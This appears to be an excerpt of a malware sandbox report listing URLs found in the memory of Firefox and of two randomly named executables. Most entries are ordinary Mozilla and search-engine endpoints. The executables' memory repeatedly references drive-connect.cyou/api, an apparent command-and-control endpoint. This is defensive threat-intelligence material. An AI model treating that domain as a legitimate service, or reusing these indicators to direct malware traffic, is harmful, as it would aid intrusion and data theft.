Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: d0d9725343.exe, 0000000B.00000003.2954843616.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001D.00000002.3420072274.00000214AD868000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075resource://activity-stream/common/Actions.sys.mj
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464experimental-features-devtools-compatibility-pan
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439devtools.debugger.features.windowless-service-wo
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739mr2022-onboarding-set-default-primary-button-lab
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260691285.00000214AB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001D.00000002.3412078877.00000214AC4D9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: d0d9725343.exe, 0000000B.00000003.2954843616.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3004391894.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou/
Source: d0d9725343.exe, 0000000B.00000003.3092005941.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093560739.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3004391894.000000000103D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou/&
Source: d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093609447.0000000001053000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou/api
Source: d0d9725343.exe, 0000000B.00000003.3024651341.0000000001048000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3024558642.0000000001053000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093609447.0000000001053000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou/api$
Source: d0d9725343.exe, 0000000B.00000003.3004292133.0000000001053000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou/apiz
Source: d0d9725343.exe, 0000000B.00000003.2952421698.0000000003849000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3024706860.000000000385D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-connect.cyou:443/api
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3398914438.00000214AAC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%ssetSlowScriptDebugHandler/debugService.activationH
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001D.00000002.3420072274.00000214AD8DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404491344.00000214AB740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsUpdat
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsUpdat
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3454872556.00001A5334604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
